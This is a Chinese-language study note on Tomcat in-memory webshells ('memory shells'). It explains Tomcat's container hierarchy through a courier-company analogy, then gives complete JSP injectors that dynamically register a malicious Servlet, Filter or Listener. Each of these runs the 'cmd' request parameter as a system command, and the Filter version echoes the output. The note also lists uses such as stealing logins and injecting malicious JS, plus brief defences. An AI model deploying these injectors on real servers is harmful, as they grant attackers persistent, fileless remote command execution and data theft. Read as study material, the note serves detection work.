Tomcat-Servlet

首先回顾下Tomcat与Servlet的关系

from:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

我还是用大白话更好理解这个比较抽象的概念

「快递公司」 的比喻秒懂这四个组件的关系👇


一、Engine(引擎)——快递总公司

比喻:Engine 就像快递公司的 全国调度中心,掌握着所有分公司的信息。
核心功能

  1. 统筹全局:当包裹(HTTP请求)到达总公司,Engine 根据快递单上的 收件城市(域名)决定发往哪个区域分拣中心(Host)
  2. 保底机制:如果遇到写着「火星市」这种不存在的地址,就自动转给 默认分拣中心(defaultHost)处理
  3. 多线运营:可以管理北京、上海、广州等多个分拣中心(每个 Host 对应一个城市)

举个栗子🌰:
当你在淘宝下单,快递总部分析收货地址是「上海市」,就把包裹交给上海分拣中心处理。


二、Host(虚拟主机)——区域分拣中心

比喻:Host 是 城市级分拣中心,比如上海分拣中心、北京分拣中心。
核心功能

  1. 地址解析:根据快递单上的 详细地址(URL路径),找到对应的小区快递站(Context)
  2. 多站管理:一个分拣中心可以管理多个快递站(如上海分拣中心管理浦东站、虹桥站等)
  3. 规则手册:分拣中心有本《快递处理指南》(web.xml),告诉员工遇到不同地址怎么处理

举个栗子🌰:
上海分拣中心收到写着「浦东新区张江路123号」的包裹,匹配到张江快递站。


三、Context(上下文)——小区快递站

比喻:Context 就像你家小区的 菜鸟驿站,管理着本小区的所有快递。
核心功能

  1. 包裹分类:驿站根据快递单号(URL路径)把包裹分给不同快递员(Servlet)
  2. 资源管理:驿站有货架(Servlet容器)、监控系统(Listener)、消毒设备(Filter)等全套设施
  3. 应急处理:如果遇到没有标注快递员的包裹,就按《默认派送规则》(web.xml)处理

举个栗子🌰:
张江驿站收到标注「3栋502王先生」的包裹,交给负责3栋的快递员小王。


四、Wrapper(包装器)——快递员

比喻:Wrapper 就是 负责送货的快递小哥,每个小哥专送一栋楼。
核心功能

  1. 专属服务:每个快递员只负责特定楼栋(一个 Wrapper 对应一个 Servlet 类)
  2. 全流程管理:从接单→取货→送货→签收(Servlet 的 init()→service()→destroy())全程跟进
  3. 不可分割:快递员不能把自己的片区再分包给别人(Wrapper 不能有子容器)

举个栗子🌰:
快递员小王接到3栋502的订单,从驿站取件→送货→让客户签收。


五、四者协作流程图

浏览器下单 → 总公司(Engine) → 上海分拣中心(Host) → 张江驿站(Context) → 3栋快递员(Wrapper)
↓ ↓ ↓ ↓
HTTP请求 → 按域名分发 → 按URL路径匹配 → 执行Servlet逻辑

六、一句话总结

Engine 是看快递单 收件城市 的总调度
Host 是按 详细地址 找快递站的导航仪
Context 是管理 小区内所有快递 的驿站
Wrapper 是负责 送货到门 的快递小哥

就像快递网络需要层层分拣,Tomcat 通过这四层容器精准路由每个请求

其中webapps文件夹即是我们的Host,webapps中的文件夹(如examples/ROOT)代表一个Context,每个Context内包含Wrapper,Wrapper 则负责管理容器内的 Servlet。

因为这里配置环境有点麻烦我直接拿文章进行

解释下Servlet的生命周期

Servlet初始化流程分

  1. 通过 context.createWapper() 创建 Wapper 对象
  2. 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
  3. 设置 Servlet 的 Name
  4. 设置 Servlet 对应的 Class
  5. 将 Servlet 添加到 context 的 children 中
  6. 将 url 路径和 servlet 类做映射

内存马实现流程分析#

根据上述的流程分析,我们可以模仿上述的加载机制手动注册一个servlet:

  1. 找到StandardContext

  2. 继承并编写一个恶意servlet

  3. 通过 context.createWapper() 创建 Wapper 对象

  4. 设置 Servlet 的 LoadOnStartUp 的值

  5. 设置 Servlet 的 Name

  6. 设置 Servlet 对应的 Class

  7. 将 Servlet 添加到 context 的 children 中

  8. 将 url 路径和 servlet 类做映射

    leran from:https://www.cnblogs.com/erosion2020/p/18575039

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="javax.servlet.*" %>
    <%@ page import="javax.servlet.annotation.WebServlet" %>
    <%@ page import="javax.servlet.http.HttpServlet" %>
    <%@ page import="javax.servlet.http.HttpServletRequest" %>
    <%@ page import="javax.servlet.http.HttpServletResponse" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.Wrapper" %>
    <%@ page import="org.apache.catalina.connector.Request" %>

    <%
    class S implements Servlet{

    @Override
    public void init(ServletConfig config) throws ServletException {

    ​ }

    @Override
    public ServletConfig getServletConfig() {
    return null;
    ​ }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    if(cmd != null){
    try {
    ​ Runtime.getRuntime().exec(cmd);
    ​ } catch (IOException e) {}
    ​ }
    ​ }

    @Override
    public String getServletInfo() {
    return null;
    ​ }

    @Override
    public void destroy() {

    ​ }
    }

    %>

    <%
    // ServletContext servletContext = request.getServletContext();
    // Field appctx = servletContext.getClass().getDeclaredField("context");
    // appctx.setAccessible(true);
    // ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    // Field stdctx = applicationContext.getClass().getDeclaredField("context");
    // stdctx.setAccessible(true);
    // StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 更简单的方法 获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    S servlet = new S();
    String name = servlet.getClass().getSimpleName();
    Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/longlone", name);

    out.println("inject success");

    %>

    Servlet 内存马 并不是 “纯粹” 的内存马,它并没有完全达到内存马的无文件落地的特点。确实,内存马的原始意图是通过仅在内存中运行,避免文件系统的存在或痕迹,但通过 JSP 文件或其他形式的恶意文件载入和触发,Servlet 内存马仍然需要依赖于初始的文件落地和 Tomcat 重新加载。这使得它与传统的内存马(完全在内存中执行,不依赖于文件)有所不同。

Tomcat-Filter

我们先来了解一下在Tomcat中与Filter密切相关的几个类:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet


一、关键角色对照表

Tomcat类 快递分拣中心比喻 核心作用
FilterDefs 分拣员档案库 📁 存所有分拣员(Filter)的身份证(名称、类名、初始化参数)
FilterConfigs 分拣员工作手册 📖 存分拣员的工作指南(Filter实例 + 配置信息)
FilterMaps 分拣规则表 📋 记录哪些分拣员负责哪些区域的包裹(URL匹配规则)
FilterChain 分拣流水线 🚚 控制包裹依次经过多个分拣员处理
WebXml 官方分拣规则总纲 📜 从web.xml里解析出来的原始规则(静态配置)
ContextConfig 分拣中心配置部 🛠️ 根据总纲(WebXml)生成实际的分拣规则
StandardContext 分拣中心管理系统 💻 统筹所有分拣员、包裹流转、规则执行
StandardWrapperValve 包裹派送员 🚚 最终把包裹送到收件人(Servlet)手里

二、Filter处理流程(包裹分拣版)

假设一个快递(HTTP请求)进入分拣中心(Tomcat):

1️⃣ 查分拣规则表(FilterMaps)
• 系统根据快递单地址(URL路径),从 分拣规则表 里找出要经过哪些分拣员(Filter顺序)
比如上海的包裹要经过:安检员→消毒员→分类员

2️⃣ 组装配送流水线(FilterChain)
• 按查到的顺序,把对应的分拣员(Filter)排成流水线:

     chain = [安检Filter, 消毒Filter, 分类Filter]  
```
• 最后一步交给派送员(StandardWrapperValve)处理

3️⃣ **分拣员逐个处理(doFilter)**
每个分拣员按自己的职责操作包裹(Request/Response):
• **安检员**:拆开包裹看有没有违禁品(检查请求头)
• **消毒员**:给包裹喷消毒液(参数过滤)
• **分类员**:贴上区域标签(添加响应头)

4️⃣ **触发下一环节**
每个分拣员处理完都会喊:“下一个!”(调用 `chain.doFilter()`),直到:
• **正常流程**:所有分拣员处理完 → 包裹交给派送员(Servlet)
• **异常流程**:某个分拣员发现炸弹(拦截请求) → 直接退回(返回403错误)

---

### **三、动态注册Filter(安插内鬼分拣员)**
黑客要安插一个 **“偷拍包裹信息”** 的恶意分拣员(内存马Filter):
1. **伪造档案**(操作FilterDefs)
```java
filterDef = new FilterDef();
filterDef.setFilterName("间谍分拣员");
filterDef.setFilterClass(EvilFilter.class);

相当于在档案库里塞入假身份

  1. 绑定分拣区域(操作FilterMaps)

    filterMap = new FilterMap();  
    filterMap.addURLPattern("/*"); // 监听所有包裹
    filterMap.setFilterName("间谍分拣员");

    修改分拣规则表,让所有包裹都经过这个内鬼

  2. 设置最高优先级

    filterMap.setDispatcher(DispatcherType.REQUEST);  
    context.addFilterMapBefore(filterMap); // 插队到所有分拣员前面

    让内鬼第一个处理包裹,方便窃取数据


四、防御关键点

  1. 盯紧档案库(监控FilterDefs)
    定期检查分拣员档案库,有没有来路不明的新员工(未在web.xml声明的Filter)

  2. 审查分拣规则表(分析FilterMaps)
    用工具扫描是否有监听 /* 的高危分拣员(比如冰蝎/哥斯拉特征Filter)

  3. 限制权限
    分拣员不该有拆包裹的权限(禁止Filter调用 Runtime.exec() 等危险API)


一句话总结

Tomcat的Filter机制就像 「快递分拣流水线」,每个环节的分拣员(Filter)按规则检查包裹(请求),而内存马就是黑客安插在流水线上的内鬼,偷偷拆看你的快递!

  1. 获取StandardContext
  2. 继承并编写一个恶意filter
  3. 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  4. 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
  5. 通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
<!-- tomcat 8 -->
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
String name = "Longlone";
// 获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

​ }

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd.exe", "/C", req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
​ servletResponse.getWriter().write(new String(bytes, 0, len));
​ process.destroy();
return;
​ }
​ filterChain.doFilter(servletRequest, servletResponse);
​ }

@Override
public void destroy() {

​ }

​ };

// FilterDef
FilterDef filterDef = new FilterDef();
​ filterDef.setFilter(filter);
​ filterDef.setFilterName(name);
​ filterDef.setFilterClass(filter.getClass().getName());
​ standardContext.addFilterDef(filterDef);

// FilterMap
FilterMap filterMap = new FilterMap();
​ filterMap.addURLPattern("/*");
​ filterMap.setFilterName(name);
​ filterMap.setDispatcher(DispatcherType.REQUEST.name());
​ standardContext.addFilterMapBefore(filterMap);

//ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
​ constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
​ filterConfigs.put(name, filterConfig);

​ out.print("Inject Success !");

}

%>


「在快递流水线安插内鬼」 的比喻来解释 Filter型内存马 的实现原理,保证你秒懂👇


一、实现步骤拆解(内鬼渗透全流程)

1. 找到分拣中心控制室(获取 StandardContext)

操作目标:获取 Tomcat 的 StandardContext 对象(相当于快递公司的总调度系统)
实现方式
通过反射从 Thread.currentThread().getContextClassLoader()request.getServletContext() 等途径逆向获取
关键性
就像黑客必须先拿到快递公司总部的门禁卡,否则后续操作无从进行

2. 训练冒牌分拣员(编写恶意 Filter)

代码示例

public class EvilFilter implements Filter {  
public void doFilter(...) {
// 检测攻击指令(如请求参数含 cmd=whoami)
if (request.getParameter("cmd") != null) {
// 执行系统命令并返回结果
Runtime.getRuntime().exec(...);
}
chain.doFilter(...); // 放行请求
}
}

伪装技巧
让冒牌分拣员(Filter)看起来像正常员工,但暗中执行窃听或破坏

3. 伪造分拣员档案(创建 FilterDef)

操作步骤

FilterDef filterDef = new FilterDef();  
filterDef.setFilterName("SecurityCheck"); // 伪装成安检员
filterDef.setFilterClass(EvilFilter.class);
standardContext.addFilterDef(filterDef); // 塞入分拣员档案库

作用
相当于在快递公司的员工档案库中伪造一份「安检员」的档案

4. 篡改分拣规则表(创建 FilterMap)

关键代码

FilterMap filterMap = new FilterMap();  
filterMap.addURLPattern("/*"); // 监听所有包裹路径
filterMap.setFilterName("SecurityCheck");
standardContext.addFilterMapBefore(filterMap); // 插队到规则表首位

为何要放首位
确保冒牌分拣员最先接触包裹(优先处理请求),方便拦截或篡改数据

5. 激活冒牌分拣员(创建 FilterConfig)

核心代码

// 反射获取 filterConfigs(需根据Tomcat版本调整)  
Field configsField = standardContext.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String, FilterConfig> filterConfigs = (Map) configsField.get(standardContext);

// 生成冒牌员工的工作证
FilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
filterConfigs.put("SecurityCheck", filterConfig);

核心作用
给冒牌分拣员颁发「工作证」(FilterConfig),让分拣系统认为他是合法员工


二、为什么能实现内存驻留?

技术点 类比解释 绕过检测的关键
不落地文件 冒牌分拣员没有纸质档案(无.class文件) 传统杀毒软件只查档案库,无法发现内存中的幽灵员工
寄生在StandardContext 内鬼信息写入快递公司总部的调度系统(内存对象) Tomcat重启前恶意配置会一直生效
动态注册机制 利用Tomcat允许临时工(动态Filter)的合法功能 管理员很难区分正常动态注册和恶意注入

三、完整攻击流程图

浏览器请求 → Tomcat接收请求  

StandardContext 调度 → 优先调用恶意Filter(首位)

恶意Filter解析参数 → 若含攻击指令则执行系统命令

返回篡改后的响应 → 浏览器显示结果

四、防御要点

  1. 监控StandardContext变动
    定期检查 filterDefsfilterMaps 是否有未授权的新增条目

  2. 禁用高危API
    通过安全策略限制 Runtime.exec() 等危险方法的调用

  3. 使用RASP防护
    在应用层部署运行时防护(类似在分拣流水线装X光机)


一句话总结

Filter型内存马就像 「寄生在Tomcat大脑中的木马病毒」,通过篡改内存中的配置数据实现无文件驻留,是Web安全领域的顶级渗透手法!

Tomcat-Listener

在Java WEB中,三组件的执行顺序是Listener -> Filter -> Servlet。

Tomcat中的Listener来源于两部分:一是从web.xml配置文件中实例化的Listener,这部分我们无法控制;二是applicationEventListenersList中的Listener,后者是我们可以控制的。只需向applicationEventListenersList中添加恶意Listener,即可实现目标。

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>

<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {

​ }
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
​ Runtime.getRuntime().exec(cmd);
​ } catch (IOException e) {}
​ }
​ }
}

%>

<%
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>

一、Listener内存马是什么?

比喻:银行的 「实时账目监控系统」(Listener)被黑客替换成卧底会计,每当有资金流动(事件触发)时,卧底就会偷偷复制账本(窃取数据)或篡改交易(执行恶意代码)。

核心特点
无文件:卧底会计没有劳动合同(无.class文件)
寄生在内存:直接篡改银行的监控系统配置(StandardContext)
事件驱动:只在特定业务发生时触发(如新客户开户、大额转账)


二、实现步骤(卧底会计渗透流程)

1. 混入银行总部(获取StandardContext)

// 通过反射获取Tomcat的"账目管理中心"  
Field contextField = request.getClass().getDeclaredField("context");
StandardContext standardContext = (StandardContext) contextField.get(request);

相当于黑客买通银行内部人员,拿到监控系统的管理权限

2. 培训卧底会计(编写恶意Listener)

public class EvilListener implements ServletRequestListener {  
public void requestInitialized(ServletRequestEvent sre) {
// 当有客户来办业务(收到HTTP请求)时
String cmd = sre.getServletRequest().getParameter("cmd");
if (cmd != null) {
// 偷偷执行黑客指令(如查账户余额→实际是执行系统命令)
Runtime.getRuntime().exec(cmd);
}
}
}

卧底会计表面在做正常账目登记,实际在记录敏感信息

3. 伪造员工档案(注册Listener到StandardContext)

// 创建卧底会计的工牌  
EvilListener evilListener = new EvilListener();

// 把工牌塞进银行的人事系统
standardContext.addApplicationEventListener(evilListener);

现在银行的监控系统认为这是合法员工,会向其推送所有账目变动


三、为什么能长期潜伏?

技术手段 现实比喻 绕过安检的关键
寄生在StandardContext 卧底会计的信息直接写入银行核心系统 传统检查只查纸质档案,发现不了内存中的配置
无class文件落地 没有劳动合同,只有口头入职 杀毒软件扫描文件时一无所获
利用合法事件触发 只在办业务时动手,平时伪装正常 管理员很难区分正常账目操作和恶意行为

四、常见攻击场景

  1. 窃取登录凭证
    当用户发起登录请求时(触发 ServletRequest 事件),卧底会计记录账号密码。

  2. 内网渗透
    监听每次请求,检测到特定参数(如 ?cmd=whoami)时执行系统命令。

  3. 数据篡改
    在响应返回前(触发 ServletResponse 事件),修改页面内容插入恶意JS。


五、防御口诀

🔍 监控Listener列表:定期检查银行人事系统(StandardContext)是否有陌生会计
🛡️ 禁用高危API:禁止会计使用复印机(禁止JNI调用、反射等)
📜 最小化权限:会计只能查看自己负责的账目(沙箱环境运行Tomcat)